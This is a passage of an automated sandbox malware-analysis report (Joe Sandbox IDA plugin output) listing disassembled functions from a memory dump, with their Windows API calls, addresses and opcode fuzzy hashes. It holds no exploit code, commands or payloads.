Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: affc2a5d75034335f3871f8cb195a0f716e907f53b5571a3d62afe212edf48d8
Instruction ID: 11288496f406677f7bdfcb919023cacd5b8123072d96ac47e6bfd322b071945c
Opcode Fuzzy Hash: affc2a5d75034335f3871f8cb195a0f716e907f53b5571a3d62afe212edf48d8
Instruction Fuzzy Hash: 38C14770910269DFDB10DFA5C884BDDBBB4BF14308F1080AEE915B72C2CB786A49CB65

Function 0040F648 Relevance: 1.7, APIs: 1, Instructions: 200COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040F64D

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 56d9e38b1f38824fae3835b0a2d2d95e6ef7d2a708d669e2796a4f5ecf1bfba5
Instruction ID: 8e2da863e0ec0aed1c7df7ef9f788bacddda9dad52c8f94b50dff24b72cd6dff
Opcode Fuzzy Hash: 56d9e38b1f38824fae3835b0a2d2d95e6ef7d2a708d669e2796a4f5ecf1bfba5
Instruction Fuzzy Hash: A7814A71E006059BCB24EBA9C481ADEFBB0BF48304F14453EE445B3791DB38A949CB99

Function 0040CFAD Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040CFB2

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 63c8e573d396fc96efa94e1a42408f9b291e1898eda9953334360b92db0a26c8
Instruction ID: 9f9062e63dd4364452e2da1ca70528b8602d2a0ea6fe4ab8d483929f8703c9bd
Opcode Fuzzy Hash: 63c8e573d396fc96efa94e1a42408f9b291e1898eda9953334360b92db0a26c8
Instruction Fuzzy Hash: 69518C31C04145DBCB15DFA8C884EAA7B71AF45308F1880BBE4157F2D2DA399A4EDB5D

Function 0040C783 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040C788

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
Instruction ID: af1ffdf326ee6b9e8f9f4efb185a7a75328b0af80e7613720a9e9424578e33b6
Opcode Fuzzy Hash: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
Instruction Fuzzy Hash: A9416D71A00646CFCB24DF58C48496ABBF1FF48314B2486AED096AB392C371ED46CF94

Function 0040D1AB Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D1B0

Part of subcall function 0040F8C3: __EH_prolog.LIBCMT ref: 0040F8C8

Part of subcall function 0040D2CF: __EH_prolog.LIBCMT ref: 0040D2D4

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
Instruction ID: 9d10d91046bd1a4dd32f0e664b06ea8990f5f8cc09720d5c411fd584516079ca
Opcode Fuzzy Hash: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
Instruction Fuzzy Hash: 83313031901254DBCB11EFA4C6487EDBBB5AF15304F1440AEE8057B382DB78DE49DBA6

Function 00413EA3 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 00413F8A

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
Instruction ID: 7c2cfac85a053aeac9454e1c2b35b253285297f11283e44f43d764ba5cf7311f
Opcode Fuzzy Hash: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
Instruction Fuzzy Hash: 1A217431E44605EBDB10AFA9DC42BDAB7B4EB01765F10421BF411EB2D0C778AAC28A58

Function 00413F9F Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,00000000,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074), ref: 00414073

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CriticalSection$EnterFreeHeapInitialize
String ID:
API String ID: 641406236-0
Opcode ID: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
Instruction ID: 47133188c5d3e4a4a91398ef735a592283a7fe3b34e77d79aa204ad2d485eaa9
Opcode Fuzzy Hash: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
Instruction Fuzzy Hash: 8321C572901609EADB20ABA6DC46BDE7B78EF48764F14021BF511B61C0D77C89C18AAD

Function 0040A011 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040A016

Part of subcall function 00409C49: __EH_prolog.LIBCMT ref: 00409C4E

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
Instruction ID: 1dffea12e82b47f2a36155f0264cd4dada82ecc0bfe076f3ab6191fd12039e28
Opcode Fuzzy Hash: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
Instruction Fuzzy Hash: 4C118FB0A01254DADB09EBAAC5153EDFBA69FA1318F14419FA542732D2CBF81B048666

Function 004092E9 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004092EE

Part of subcall function 00402634: __EH_prolog.LIBCMT ref: 00402639

Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846

Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog$ExceptionRaise
String ID:
API String ID: 2062786585-0
Opcode ID: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
Instruction ID: f7fbb3e9a8787d76bf0f9f15101cef5fd9d7ebfa1ebb25f778e30044bb5e9d70
Opcode Fuzzy Hash: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
Instruction Fuzzy Hash: 7B01D6766406049ACB10EF25C451ADEBBB1FF95318F00852FE896632E1CB785649CF54

Function 004048B7 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 004048F1

Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920

Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: File$Attributes$ApisH_prolog
String ID:
API String ID: 3885834519-0
Opcode ID: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
Instruction ID: d8abee0b5bf8aaacd3c7805e8248c04f8c14d25ec22198af343fb12e16f398c4
Opcode Fuzzy Hash: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
Instruction Fuzzy Hash: 76E02B66F002502BC7103BA5AC065DB3B9D9B81314B20C43BA602A3291E9388E44A258

Function 0040499C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,00000000), ref: 004049D0

Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920

Part of subcall function 0040498D: CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CreateDirectory$ApisFileH_prolog
String ID:
API String ID: 1021588753-0
Opcode ID: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
Instruction ID: 2f64d7a75cdf7ff6db5ed191fdbb19fa086d8aebc57dacf92a4c812467fb8a6f
Opcode Fuzzy Hash: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
Instruction Fuzzy Hash: 18E0DFA0B002002BCB147B79AC0679E376D4B80218F10867EA652671E1EA7999449608

Function 004050AB Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetTempFileNameA.KERNELBASE(?,?,00000000,00000003,?,?,00000000,004050FF,?,?,?,00405160,?,?,?,00000003), ref: 004050CE

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
Instruction ID: d5c13e583cf4c34c7a3a11816bb62f42e40da82da4d3cfe63a6d47b8b5213b5b
Opcode Fuzzy Hash: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
Instruction Fuzzy Hash: 91E086723016106BD71056699C45A4BA7DEDFD8752F15843FB545E3381D6B48C004A78

Function 00405D59 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00405D71

Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: AllocExceptionRaiseString
String ID:
API String ID: 1415472724-0
Opcode ID: 313272d88e3834385c103984260c6c8c9ca4a4ab5fd4d804f695adf0373ca9e7
Instruction ID: d0734d5c7e5939215d37afae748a6b456316f2180b0855a0f59ce99ff0d6cfc1
Opcode Fuzzy Hash: 313272d88e3834385c103984260c6c8c9ca4a4ab5fd4d804f695adf0373ca9e7
Instruction Fuzzy Hash: C0E0E572640704A6C7209F65D8559877BE8EF00385B10C43FF548D6150E779E5508BD8

Function 004058CD Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004058D2

Part of subcall function 00405806: __EH_prolog.LIBCMT ref: 0040580B

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
Instruction ID: 5bfd618a99589873673dbdde5608ad138896477ef474a485a6b18cf586c7d2b5
Opcode Fuzzy Hash: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
Instruction Fuzzy Hash: E7E01A72D410049ACB05BB95E9526EDB778EF51319F10403BA412725919B785E18CA58

Function 00405C87 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00405CAA

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
Instruction ID: 646c0e8b7f70081892c45aa98fa77e415187d9694f298a279afc83584de54578
Opcode Fuzzy Hash: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
Instruction Fuzzy Hash: F8E0E575600208FFCB11CF95C801B8E7BF9EB09364F20C069F914AA260D339EA50DF54

Function 00405841 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405846

Part of subcall function 004055DE: __EH_prolog.LIBCMT ref: 004055E3
Part of subcall function 004055DE: FindFirstFileW.KERNELBASE(?,?), ref: 00405611

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: FindH_prolog$CloseFileFirst
String ID:
API String ID: 2004497850-0
Opcode ID: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
Instruction ID: b7fde63f1f0c292b4e5d00ec8c3d5d27a79480d2707f186765d0e2b5b752fd38
Opcode Fuzzy Hash: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
Instruction Fuzzy Hash: 7CE04FB1951506ABCB14DF50CC52AEEB734FB1131CF10421EE021722D08B785648CA28

Function 00405806 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040580B

Part of subcall function 0040553A: FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: Find$CloseFileFirstH_prolog
String ID:
API String ID: 889498515-0
Opcode ID: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
Instruction ID: 15a52a3ac40e1f9f01e416ae3406c700f8aec04b6379e90cb97043f6baa550c5
Opcode Fuzzy Hash: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
Instruction Fuzzy Hash: 2AE01AB195150AAACB04DB50CC52AEEB760EB1131CF00421AA421722D0877856488A28

Function 0040F8C3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040F8C8

Part of subcall function 0040F648: __EH_prolog.LIBCMT ref: 0040F64D

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
